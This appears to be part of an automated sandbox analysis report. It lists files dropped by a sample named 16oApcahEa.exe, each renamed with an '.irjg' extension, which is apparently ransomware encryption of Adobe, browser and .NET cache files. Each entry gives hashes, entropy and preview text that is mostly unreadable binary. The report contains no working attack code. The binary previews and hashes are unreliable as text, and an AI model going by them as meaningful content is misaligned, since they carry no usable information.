..u...+R...zg^....V....V...i......j..u..Zx=.a.].%.9:..>2..?b;.d..C.T[..(}.c..z....GU,l.K0.k.....s..i....3wl.5..].....l!U.i<;7i..},s>..x.c.:p+...~...]P.w.....-D.w....#=.Ey`q..E.\.C.I....j.J.JJ..:...&r.sch....g};]}K%...PP..?....'5m.."...!.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.986610800856321
Encrypted:	false
SSDEEP:	3072:kVn+q5HdJt7+f8Xyg1Ia72dBIbZmQA6yF2tBbIjbaab5OoWiRn+:kV9/if8XdiIbPXyepPaxn+
MD5:	3D7CA04C0B49D03159604EC18B2C0A06
SHA1:	B240536F30764615DFA8BB5BF07C357A0B294DA7
SHA-256:	5095EFA14A8941896A7872B69E5E5D6E50CE49D6A2D026AD459514B4BF72B7B5
SHA-512:	3F7C0CCCFDAA7968F3D0A3D2CEDABE72B3D65989259E4E3E247F2E431E44B5B235AEA21E8A54E27B900BC72717E8B4DE5A5ADA777D71BC48A71B98FDD7E4A404
Malicious:	false
Preview:	Adobe.T..yC..\....X........)1<.N#V.rn.k$D8....4...0....d&..RfF..Q.%..._.....[m....q........t+?6.T..;....-.D..!.r&$v....,....6.2...;w5....z.........;l.iM..D..l.p4...9.:.5ZY...0.A.c.5(bb.y.A4..@6"o..E+x]w$.k..a.....`..9...\...Z..9..Z..... .N#..M...Q......Ep..1...L........y.h....4 .4L.....B.e5.>c%..V.0.$.eC.u.......xA...;.3.}y..Y...L..!].Sy{..........1.\|..pC!~...........:.......d1k..)..~...a?&._...3..x).......P....R{d.+ .l....6J...i.j..om)......^7..e....@#.P...b}.X.{..._T.\f.ZE.5.t.X..u........=..I..d..{eR1...C=.\......^=...,X....a..K.L..R.. ......"...$.p....0...E...%...O+=.p.X..M.u)..... ..l.?.C...oCl..n....z..2R...........R..r.z...L...,K..1.Z.'-1.......i.....1...z..:....%...$..._.\|.\..[..l..+.;..\..}.".l..:.C......N....Q....Ncy'....cFbd2...U.7/..:..[mA_..`.a.....M..Tz,.$;....`+.QP.z..tC.<.......\|5..c9....M...?...{.......G.D.A>l.9D.w.&....lW..L?.fR.....Z.-...J.#=.X.\|qL.y?S_....UT.:......o:R.v&.4..A...X`<s...U..2.`x.r.o./...VM.6)...?z.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997214941575902
Encrypted:	true
SSDEEP:	1536:MzGNXycJJ4YonJeZ6HlISED2Ay8CJRpy75uXyG:MzG1z/owolISM2AUy9un
MD5:	EE2786229BF94C138857F5836A0BCC99
SHA1:	1AFF2882579F2E18E366E8B9E80811E799ED1423
SHA-256:	39346EBC16818BB87482D5D2E02D04B70501BA8B4FCEAD31A2D0A9E0456A0A30
SHA-512:	8366F35885784E0D3647B7F007F85A1F82B7408B97FE9ACEB8A4501615A0A28C130AC1DCCEF2F4169E95724D98A1830AEF0A84FB6DA358543F8094AA62888828
Malicious:	true
Preview:	4.397C...J.[M.V.....N..n.o[.E....H..;N8..v..j.4.Y.jwOk...P.T"Kk..99.W..,{.t.c.+P."..5...m"d.<vwp.=......-a_.........Hf.(.P..7B.>QK..a.s-.p..8.Q=..z......qr1..ZAl......B.,...J.).<.Iz....{}..C.AtK....&.Vy.w.WX..KT..C..U..V. _x....aU.K.....W2kx..%..V..NG.-:.q.+s..M=...<....!Hi..zy..^..qK.;.D.....{6...)i..V..d..&.0._..~#nlm...D.d..4h.'...R.. .....9O..@.............U..`{..0...O.4r.A..{Q......B..:g..".....B.d&..x2N.c.(..R....G)...%{4rd....e.....Nj0.8......yC.I0Y."`.n~D..h_.^.ei3......3{..+\.`FC...]LCk.B.N..Lv...H..6.@..kO..o.H..eiR..x.....?kg...'o.Sn...g.j..UMV.\.XV....o..N$.....%..x.1fV..]\.....N./..~.....:.._.. K....`[...d...u8"E....y.i.H.7/k...K...LxG.$e(...fq"..rr&.E..HY.cL..v..S\...nT...R.q{.z7...{..H.$....j..yZ.`<2......`...O...(.ni.M.(5..5e...d...I..g(..X..<\.>.7."....^R.:.............t....Z.e.....v.P.b...n.s...N.*.6..y...F..E<..g...4z.]....q.m....{eA...s.\|.>.i......Xl.l...#.......%R.83.j..N.........Jeh.\|......9.Y..4.^...w.i,+v.8.J.

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.99632461855165
Encrypted:	true
SSDEEP:	1536:5mpGK3yZbeUyCcVk9zQw2KJqVIvCW4DtM6CycX:rqqcU9QwfCWkM6CyY
MD5:	422839A98F95202502B20A132ABF388F
SHA1:	01ECA58E059F1EA836CA41A8C022FB5C6032FD27
SHA-256:	A53A9566E7737A4EFC2A4C4A5AE18612DD2740E2F791F2498B7E165C42AAF169
SHA-512:	3F826E0FF6386B118DDF542828D626C76BB766784C3F91B60A33D4F7A235460AEFF67DA0757C26A155AD37ACAD924A851315789EBE1B9D95E3E3955D74E8640D
Malicious:	true
Preview:	SQLit..4..5OcK..... .......9.uz.e..............'N....dY...g..5:.a3.......{.d..}.?!........y...VAWc....\|'.-))....c.+.#..3..j:..?Z>.).85.......z:.,......E?....d!.M.h.....C,.Y....T..f......J.....@Q\.w.....+.{.Q..d[2...HD.1;.~.J..o.0....Gxa&U..I..6.0.s..7k........3B.t"6(!j..f.F....i..e+..&....\-............<>.08....m;......v8.~.F.....<\.4..v.S.Cu,#cN..lM....>..L..h.&V.8.6.r..nG...w..u..N$.......[h.........]}...BG. q.)$..,..\|....i....O..4k.`.......d" T5.$v...#.....^....6..qAd.....\............x.d.~;M....}h......k......i.%.......6tL.. Y.. ..=H...an(.e.y...G...o.cE.ei..U...b......O.I.O.t.W.)lJ..~u.c.F.'eybd..i.G...xb......W.....N&Nh.i...WM.F.l.i..".. I..E..W.....!...l...hn....Y.."...Q....B....R.u...S.a~.....g<.vj.>%7..b.....$.....L3I..p..P.=.(.....l.......C....<M..NG^..3.wS.D.Qh..Gk.e.y..{7]....._.@c.....)..;.........4g!...v....#`"^..\|.;..'....b.../b.6.....w}.e.}5..8..d......t.8.U...`..c...=.9..s'..KD...#m....v.*...$.a`NR.\o.Z.x;9..a\

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.192842848303228
Encrypted:	false
SSDEEP:	6:QfxESmgv8n3BAMDdEeg8+/DKLiArQpLJIY4W8GnNIT/C1n8cpwr39Hs2xcii96Z:Qfvv8nxATegj+zUQY4yWL9M2cii9a
MD5:	695BC0F1322B8794F1F16A4EB573A59C
SHA1:	AFAD1AF422A86430C25916457AD94B4DD092C6BA
SHA-256:	2DDD20616A7B2141C1C27F47B32C3F07B1D0DC1F502D1793F5249D2CAD0B3083
SHA-512:	5F89A0CA60841163B976FE4A949252A7F3743C5151488C4C842D98D0CE13B709E80CC559267FE48B27568EE4012DF050BCCB4F9271428B61A473238D1A277A86
Malicious:	false
Preview:	1,"fu.~2..y..IkL..ha/..0V.vR.{....]H....Sz.O.."\Tb.O./.G..vFR.P~.u.{+a.y........G.t.d<,o,.........0wf.:38....3....f/.d....V0."..g.,...It...d.>j...T.D..`. J..X.F..E2(.`..i..T.2.u.;.C.C...N.......V.SA.......-....0.Q.H{L..Y.'.z....gP.s.;..>....Q...@.+d.....OR.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.863878138468097
Encrypted:	false
SSDEEP:	48:+gBRU9J+K8t0Wa6E7dtmGFZALuwhX92EyYkNJD:FPOJfWaZZgXgZxn
MD5:	0BA222FEC37E24F35150BF0EBC575FB4
SHA1:	BB73692F2566723306CF6A481CF670BEE21A8D47
SHA-256:	5F73503F6D41E508F9A933EBE7B9389DD6046B2F52940971768B6D4521AB3D5C
SHA-512:	CD9640AB0A70CB65BBF12DAFD2C387B78FBADF295EDAB6530FECEFBA7FA2CBB8DB72A74C67ABB456F3B45CB19307682BE71085C3C71FD14F781CD4BAC57456D7
Malicious:	false
Preview:	1,"fuF~...p'3...8.._..p..$#%.^.P..j=Ht.<......F.q.l.....]....c.>....W..y5ys.]....g..`...E+1.JcF..a:R..Z..P...h.92BL/h#.PI..>Oq.~.....=.]H..`Ho..E.-._m.QF...oU...E...dm..U.2.)..<D..{X6..%w.... X..N.u.`.7.i.!...3.o...X.....M.X.....P.4....@w..,.t.......-.K......0{...~.........%..^./.,.Zj!...}`3.x.4l.$c....s.t\.hh..x..p..;.f..lC..{\!.=.Y..'E.....tmw%..W........Z....'..:..e.S..X.>v.........B. .t.y%..koi.T.;NT.......kp....3d...(.z.....{..... .?..W.{........}.o....3..P.@lf.E=)!..hK.\.ij...[.....+.q...Zd......q....K..((.K<=.~..AP..^P3P.iU!....[<.W..w..u.bX{e.D./i.B&E......4..Z._...?...G4...).........NO....k ...,.......n}:..~..#.F....E.k..+...}....G....h.^/..7..?.p$.}%B.V..{.....#{>...............)..-..Q#6......9..b.....X.H.M2`.Z.Z\|......`.......6..-U)[/&.VzI.[7..KK.CU..`Z&.....\|{..#...0..!.uu.A.o>...pdy.....q..6._...O.=E.cF.N...9...<Z.}K..c+.h.!...{...x...~..%OK..In.2<.....%.y7..V.e...r........l.Cm......(..4..L..2....i.&.`.h...5F.....f.9Z..E*a..&.0..:l.

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.7839411464457795
Encrypted:	false
SSDEEP:	24:gUT9FoASi0/acN3gKCyiKok8Cxe/c9TzzbY1JbH84bsTz9pbD:x9EiQ3Pi7kRxeuU1Jr54T5JD
MD5:	CE93BA87D5F5BE1C96C0FB9DBE840425
SHA1:	8943A49083E278257A836D832BED8EA40F31420A
SHA-256:	2B40F3D8397BD766F36B2CB5EACEF8D723924956F5208073581E100AF401637E
SHA-512:	8C031AEE9F12152922F61673FD89D4A1F0ACE6523DAEF6ACCB77BEB30A6BC08E45453E06830A8F84C32AC895168FB9D3152049A5F518C456D0B1B946F4A0A03F
Malicious:	false
Preview:	1,"fu....FT.{%Mm$..x#.q...+.H.....n..A.m.....B.y........).Q..mv...n.W:..>`5.C.K.5...i...s.Ev.Mt.._#..A.z.Jr.@b.@.>L....`...g.gf.?KmR$B6..>......X..#......m.m..X....h..?.]W..d0.Gl..........!l.v.9.o\|....f8...u...E..9r....u.........$._...'Xs.FO.@../..'.J.8...<Qg.>!...,h>r.Wa..88.2U.......G...%]..;1$. .F.UX.4....9.Nc.....1...E..`.p.......>.o.......Cs4..>..)....z.............<x......O8....y.A.L..N..O..Lid.j.j..q...fMC.Ji.e.........2'....G...qd;.G..W....4..16.;......Q!p#..[..s...z.....fW3Rc..m.NJK...k...8.tF<J.SdZ.......p.......3...#. .)......=..i]..,.......n.{r6...{...(>../.w03..y.3...I..,\..{F.........~.{..i.@7j...,.m.a.<).@7...z..v..O...# ..Q..;...e......5.X...q.<.i.~bV0._o.mD.C..(Hi...T...U.........xqW..a1.b..A..}n.T..d....;.....~.&-.!.R....y)-......z.1...#..D.t..A.y.\..D.2..M.JN......^.....YX-@<.Y....&.'jvD.^......T .`...Q....X.]A..*N-...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.790766103246593
Encrypted:	false
SSDEEP:	24:EVLhgNH2QCrpqRGJERiHapP0XbSUWQkAzktcgig4IYKz9pbD:IhmzCARGJgxpcX2L8ktcgL4IYEJD
MD5:	D4CAA30287D4C5F285190319316BF795
SHA1:	D39C954B2D4EAEBD8305B9A72E9D93F93FED7847
SHA-256:	F2DD5C018048D4C66D3BD9ADD137F85975091D8D8484512E358CC3D4DF1EEF0B
SHA-512:	58EBE1E80D08F899AD29E54A414267599B04C11023649D1797C9485FD6362814AEBC8D19452A7A2C6CBE05DACB3EC7770A3D677589B68423629ADFEA09675487
Malicious:	false
Preview:	1,"fu{1...7[p.../.^lbc?.>E.<..n....'....R/......"..Z......1.U....Q?Hm..H.\|.D.kJR.y]X..Y.t.=B...\|..Qi.w.....l.F.m.9.+.....,.J....;,..2%.s....c.[e,..$...K.P...v..n...t.}.V...G..^u...t7H^..,..b.w[.N..XNc....A.Z.u..,B....P\.ns..\y..>>:..e7.,o...}/.(Yi....u.\|..v.Y.._..Y.A.V5...5/>..:.>..6<..Slw\R6..[.2$....r)..IR6..L.......#..\|..5'A..T....B\|.%.E..0N..#7vn.G..PU#p..5.g2....AG".....Z0..)j.t5.v..1.g..7....]2....hu...U.eSf....3]n..5o..7V...x..q.0R......5..3.._HH@.......Tb.0....}..V.......@..D..Gepi.G.`......m4..J1D.Y...=O0Rq.F....:q?x)un..tr.>.:4..r.....a.Q.@..0`...k...`O....T"/.Ta3..(.P.....y...d............h.MH?3......U...00.ld..`.......2.+a.F.C..!X..r..BS.ah..-rd....&.F.&......?....F^.....%A.q.rVP..V.%]..4.......;..1......a......$).}b3...U(Y..H........B..3..k.xV..v&zJ....6.HL.._.+f...o.l...}....'..*.K.t..mEs....:.,$.1rgX.....{=...2.}....51C.O.2:.. G.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185345799745483
Encrypted:	false
SSDEEP:	3072:fIF2N+8LLEiyhR61PM6sIJoj6qlDaeruSRHXpssPiU6ZCTMKgrYsF01TkNy:fIEp4pSMlIJG6qlDaOZU6M9Ys+1TkNy
MD5:	7D660025F96EFA9814F988D84CC41F43
SHA1:	F968D3015EFC2785DCD91CC11D0F2E38737E13EC
SHA-256:	0E9048645842C8E87953F7F672086FF400E28DB223132A7551D5599CCFC793B6
SHA-512:	DCBC6667E024FB84BE13BACC75DB05698302FF6D12B4610F184D9663634EBF09EFC3709B38EB77B0AE62C3459B88093C5EAD40833F14C12FFCEAA01C3B739239
Malicious:	false
Preview:	.....b.F..h....c....\....K.a\.%^....$..O...M6....4.'.:..X-.s@n...+.%l.S...m kp..YG,..a`..'7..?i...I.GS..t.7f.,...\|..........l.u..A.]\. J.z..%..`.xPx..v..T.;..x......M..LX!.....BtAI..2.].N....Qn1....q..R...c....;...q'......h....l.xW.Ok.+L%..0l.......&H$........J.......<s_?......v..I..9Q....i...y...G...,p;..C.q......KU...Z.c/.S.X..LK..n.(}.....7.G,.R.E.l....n.&4..Y.v..`.}.\|I..D...m._.z...q..c...e.4.q.....(X.w.)n.\|.t....k.E.p.4.....:.?(.8h.....L..$.....ha!...h..0.SgW..... dz.h:k.m...%h...Q...C5y.......&......4...4..CT....3.L.?....`...!K..N....V.;.%...\|...7h.`a..k...T8u.....(..;T].....-...1.k...W.0-l(O...MQ.sR..r.<g...v..Z..0.]J........6%T;...aua...e..5A..(!....(..g%=.1...oM.;i.!a ..S..rS....f..('.........p..y8.xp..C..-'z ..."-.....Z....Y.....y_. ..z..bg...O...].q........T..q.cK.a..$.]..T..\|...)n2.OE........9..H.;dj.....igL@.P..5.pm[..y...e..[..P.<btv(r.......7.:...[..f..N....0..7I.Yg6S..`n.....n.bN..K.f..b...V....m.e)...?-.r...5..W(..>....

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.910948393944298
Encrypted:	false
SSDEEP:	48:Aew6TFiAyYzfo1Q8NAbli7WOma8wYvswH5Wv5hGISKRGHvJD:dw6hhJfo1Q4IlRwGH8hQISWGJ
MD5:	A77EC90AACAFF198229AFDDDA8B8D75F
SHA1:	9944B478E153231500EC649BE1DCC501D55A0552
SHA-256:	91567BFD492689B72A9D49F2BF855FBFDAA00C4C62C236771A08C902BEAEA7BD
SHA-512:	DE073340472A8DBE42CBFDE32118902D7E4FFD1D79E0886D46C9E1358E46C9EF10DE9E5314BE9ADCEFEF4BE074BF8D72A71AD11E56ADA2FFFE0AB57DBCA126B3
Malicious:	false
Preview:	<?xml=.....2:.9Ji....o.L...q.Y..+....1...$^..~.`S+'...R.46.6.[R....W.l..8........'.y4.B..U....il.6...n...L...O.....<.vCNn.w.y..dk'E..$..).!.J,.n%....n............]x.U.?.D{..6.e8.+..E........r...........$.P.%P.H\......}DO.o....i......m...m.O.Hb.o7.A.......f.Y 2A.k...!..p......1...\|....+.2.....R........S@~Uvpm...".c.,-.._.5_.W.$/y..S....". ..'...\...]..l....t.v$.#/..8hm.....8./....o.8.3.}`yd...3.T<.W\|...8...8..QD.;./.e....%%..B.m...K..5o.>."....E.9....\...L#.F.......3.oO,.}...Jk..\|...u.....Q.G.8>]7tMm#..v..2.4.....>~.7. .+.%.....\...L...X)O.<{.S...:..G.#.7.I.}.2.p.........%..,..C{..(.........4w...=.v:}."~>...\|...I.....N...,..Lk1.L .6..g......H........A........B^...y.\yy.....gF]JBk...#...........(..]...#..C(.....e.i...[I.c]..'.%...Pq>RRx....<M:.\|.....2..U.Bl\<..P.:.D..C.dc.#.G.{.Y...$R..)P....D...E.'...V,..x.w......Qkd..!.k.......:o..{.....}Vu..........q....}..&z.D.MOb..rY.q.H..P.%..`H../.m.....#..N..].-sq.s.&.....\...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979675079949967
Encrypted:	false
SSDEEP:	192:K7KGhqrnro9okPZG7u9jRjb6LkA3OK/I1vj6X0:KmGUbruuuwLZ3Bqj6X0
MD5:	779CBE70D34EA5BA79729126DE661570
SHA1:	CA2A14EDD60E6B0E99CF061A7B5B5BD10BE2B72C
SHA-256:	CBDD59DF7AB083B97222F75888AE2F59BB8B6E1564F523FFDDA9F0614BBDF281
SHA-512:	5092B7612AA67C329102DBFFDE0A76BDD4178BCC34CB41EBED53CEF60EAEFF464EA13BADA4FC6ECD2061DE19855C09F205D51E9D1356FB849E53A7A923A6BA97
Malicious:	false
Preview:	..E..iF.)U..........e.B..%.....2...o{/...W.<l.S9....._r......b#.q.=_..;....k.\.i}u./...5$..rg.{.\|.....a.T.4..2..9[.vGM........RJ8.~2f;..f...E.....[...viQ-6...8....QP.?L.y....\|.0..\|B......26..4....#..) ..O..m@j.2.v.c...0.l..(.:.....3].e.../I..=...S.7..z.......sV.T..Ms..@...V..8.y.\|..8....E..t..1./J...S...TFW..72(.~.2.RD{..2....:.wC..8.._.~.2:pyM......:...2...X.o..0ub...-.G(L%DJ.P.M.R.A.^<.z.rV...w.T...N.....?...~y.N6..1.%N.<.~.D.S..r..)..........]Z~...-..$.......t.D.z0..K...C...Q<.....3M..q.\....3...)..A.....T..vE....s....z...9.Z.#....[....]u.....+@.{.\d.Xt._..v.6.v.....B...f.....`..zp..y........4$..we.....cFs..Vk.8.k...J{.p...)La..S.R...ou.^e.z..KT.x.Q._...=d..U.....SS.~_<.mKU..~...W6o7.F...x....V>7........P.....@-..\|......!U./4.o.,..j.-......_..!24.f.W...#..Z.4MQ.A.ZTm6..V4.1z,.;N.........MU.._...............3.\...`.z.#.B....f.3;.~JD.......90_..?Z~.k.sF..g!)...K.g...5j.9.f..L.L...F......F.......)...<....q....P)...%....@0(.O.,.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.9594651956149196
Encrypted:	false
SSDEEP:	3072:EPfkcx3PnZFErxZPonaPeK59ftEbegu4Bo7VO+suwCj7edfUAXxHNiTCARzDSIvU:VcFPZWMnICigXoU+suwMY8Ukfhs
MD5:	8DD816576E963FD332769CD27115FC45
SHA1:	3DFC4ACDA1A0E1AA73B47B03FAD7F54C2B50028E
SHA-256:	4F962F5828B572B1274D4B623C4EE0BC59894A45F32C19B483CB3B0DB9DAC038
SHA-512:	DA398C229FCD0AF4766F7E99B0BD4491699C50CB5795F2B13BB807F83C5FDA8F27508332E5DE5A92F34A31F21A24D322B356F9D1D5DFF6D3E61F48364C52BC67
Malicious:	false
Preview:	?.8T.S.......).]V.....l.....m...Hp...Tp..&....A{pa.p.E.M."]R[..h.bLJ...A.........,%....a...kM.2P...@W.....?...W.kN.Cv.....h.7.U.8.uQ..4Aw.rg^.%.0&.R...wH!<9{@a....c/Y?...-..^...\:..Y..M.F.+.ar..=.q.]...../Pu...q......}.,..e.... >M.......%....g...T+....4..i.\...M..Tt.]..4.!...H...K.,b.I.....I..=.$$:m.YU...H...E?.O.Y.a.........W..l....z4kY.....PU...=..k=..\|r%....gW.?^Q..F....q..M..^].D..G.Y...@>`6......W.8...Y.U>.^i..T..Y0b.....6....Z....A.2......w.+-.wf....x.4[.E..C.x...p.......s.s)pFS......U.....5.=q.YI.[.{k1&.%i...k....v.9..i.%_\|.R.i.X-.....x......4l..=.#F2..U..OI.fX...VH..%....7b.....^od.>.....Ha..y...e..:.....]...[..........a...C...S...e%.P4D9P...!&..JZ.0.3....../.muT7.....m.`%Kb.v......2(o..i..M.@d..L..zL..{.N...............$[..".W..Vr.~[....).]...b....kk....W...1R..L....]=SBJ.c....2.F.,c..............X...sG..pr..IF.^............!....S.....rO...T..O....1.........97E.1..em7^.e. ..-...XW.7.n....r....A..o'..&.9,...o_

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2078705220521186
Encrypted:	false
SSDEEP:	6144:GoL2HvjpEpGrDZMVU+L9Et9iqFXc+lSx2:GvO+DaLL64+sk
MD5:	4A2204717EBFC7C4EB3137F2415831E4
SHA1:	A4E4C0E7E3CB1E0B30165552C2C30C6DFEAD90C9
SHA-256:	0AD3C93E3C5353C73246A3647B06A527B314C290E9C2F01ABB089559BDA81F22
SHA-512:	7BE7CA6A8FB692CC0995582D23757526150435844FF8291E817CFCDD28678A12804547670829B4B512B980A7EDD63B02F26BA8D2ABF6F9F4F876A6B0F04A28AC
Malicious:	false
Preview:	.....@..7_.K...MAwgt......7!..h..k.L..12.]..`..s.M..{...Gyzb...6..UT....H".uK`..\vs...d....}..q.&)..:B......>...=......W.{......;o4/[J.u.n\....O...\..Hk..\|.B.jR.H..D(D.=.......a\.BO.....c@.0.,....U...l..C....7 =....D..!..[....2.t...#...%.B....N0..b...3044.%.F..?f..5..!.+8B4....p............H..H\|..g:...;O....t..8..f-......e.!.SJp..e.)B.$n.k./..$.3S .....ocE.......'....................u....Y.!....E.+.K"Ns.......m..d8.eT.....V.N..l.W.e...I.te.uP....z_....=.Q...&.stI. ...7.!.^@...@.M"-...C.r<.?..I.Iw,..v...?.... ....i.....O..$.@'ti.[...\|{..2...0.+..p.v.N....F..(.J.dUJ.....;.N ...M.[A.......Q.&.GIQ.:.i.u.}u....{.......C.r:.R.j8g\|DS.j_...F.3p.....M...i?........t6.L..A..9.$....C.$p[\m.}Y.^..z\|[C..V\|..9\H3...f#.l.W[.\|;7.Y.5}W.jJp..6.....)5h....<..j...-......9.~....J..q.j..A....8..\|.6@z.fjv].R..>.[.]A.f.E....=9...O.D......f.jb..j....;z..E.....h..k...=.F....!.2j.....\.AC...w....V.nTW5M.X$...[..<].1.kPE.....m.OW].Wu..1..W.....f..j.2..(-U.....

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2074835543875695
Encrypted:	false
SSDEEP:	3072:+aIKGr5NvR03FrOUq6Oz6L0kv6xPrnRaI31xu/k+6UaPol1bI:+xxMY3uL1CRaYusr7Ps8
MD5:	C62CCDFC705B74BA55BC1B3B9907088C
SHA1:	A0F81FC7F5AE71AFB8D5F6A573E901961271869C
SHA-256:	F1C5960CE712878307082D62130771C35C03178D972FDA2A210DF579B6F458DB
SHA-512:	894D29E3D5290E58BB3CA6FA584F06A070A470796EFBBA7FFF1F8E4703873A67BD4B7D4A03331BF1005584325AAA4E6D3CBE52CF77A44BD018F36AE448B32289
Malicious:	false
Preview:	........E...{v.k.........q.<..\W...Z.9..r/.0G..aQ..e............~%.......C. ..\|c.p.[.!.$.0.n..b....`'..fG....R.3T.D.d..F..e.k.....8.g....kr...R9%r..=.b...S!..\...(B..3.....php.>...g.$.be....B....+.+..\.W.j..C....#...K.P.H....xl....}..)......].pk.......\.....,.l......5..d..O.........y...."....5.t.s...T....`.%.-....SK6..ss.S^M....9..x...ZjUZ.......L..r...wv.bv.M..%.q.i...wCx.}^.(.%.VB_..t..i...%Q.+...!.<^..J...-.+.j..T..3W._.8.9t..u.....Z.:..D.bDK.\|p.....?.y'...xp...<...O.b\...lj....^.!9.{.~..n...o.U.=.`.F...W..-..=...5........Z&.3..Y+96..]..#nk`.B....4q..i"T........I...F....Z3......3..Jc.v."&q8..\|...O..Ir..1...C.\.......2z...I.9h....y.'....3..~..}.d.....k.N1.........F.E...N..9.....Wh.e..mf..$..5......Q.K.K.......K.]_..a.F......R.z..C.....:.....]<W/\|..2..[....9Z....(....^h.........@........I.C^#._.&F%Qq...\;..v.C.U@....... G...U....8.dQ......&..B.........JQ..L...r..l...hm..a..X..).\|0.d.H....o.d.y..rT...g.s.f<@..\|.o8..,.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207973283976394
Encrypted:	false
SSDEEP:	3072:CpcxmscnLkIrIl3RmVeANGUW2GtrfOQ0+a16+zsW+Oyvus2q/v5x0dRl:C+mscnLknlcoANXmrfOdfs8cBx0dH
MD5:	E049F0C5D6C805CC1361BD23CF653D04
SHA1:	F63D6315010053F68B0FD6B18A7B852A345E3802
SHA-256:	289C3682B700C5E2A59F5BB7E2F288118B0E202D15B6C86153FA7FE0D4630453
SHA-512:	560BACD3DDDF667B9F7BA6D4A6B37030A8AF785EDA342372071C73FA54F3BB81CA6326CE8D71FC3FF4EEB5CC827968B3C6DC68F5CB78C1FB4834290E663F7C32
Malicious:	false
Preview:	.....p.....dyM....G.....^03Y...C.....3L_..h....p...1...>.F.._..X.R.Vq.VL+.si..=....3gi.U...w63x.JH?.m@...f].8t.~..gQs@..y.N.c..b.r&....e.'..].@..1!...{......N.n...5.n....;.^.\|'.N..._......f(.s.......c.S_.....1..X..9.j...FUK..1..{...8..,P..3x.?.7..P...U$.X.Or..w2.,.(....Sou.A2...=j..T.F.M.1..;.......-L..p.a...H..C.\| K!......xz..K.z....I.1NB..y.p...-&..w..F>j...\|...=..;.ju...M..B)\.W.b.<a..QV..j.4....@@.6.u...U%J.H...L.L[#.`&S).. .......A<.r.".ax......9;[...).J.r.D.w.Oj..[...]..WU.s.(.....r.0.z.D.....XU.V...3O7^...cY.o.s-..'..=.u.`.cm....B..1...x......r..V.....{. 2..Nh....z9.7..Y..+.l..%?...W.]9.\|.....}.Td?.J.h0..nM..%..].Z.....&..]..../..:...v/T.\z.q.....0.cq.w..L..[FI..:-/Q.-.q...^..K>.._.2.D....@qa.....r2~N.Z...wx.n....]...(:...<.%..'%3-...W.-.E...{..t.:=...T.h:0.@.....N\|..N.~.jN...2....KO~...L.K..C...]....I^.].P".KL....$...N3Zc\|......C.X..0.4.....B..].,e...Y..j.M..cF..4..e..T...m.K>..<.....;.= .@h$.9.s....?.@$z......<...Q....

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.9381613560944615
Encrypted:	false
SSDEEP:	96:sHKozzg06zImW/pRpytX2a5yJ3igLJbKhLYGGcqizui+:srzzg0GImaoX2a5ylxl2YyzQ
MD5:	43F07559E2D05553E97E58A3008D97E8
SHA1:	1D26BB42372CACE8A4BFE864E0C1F409BA7F85AA
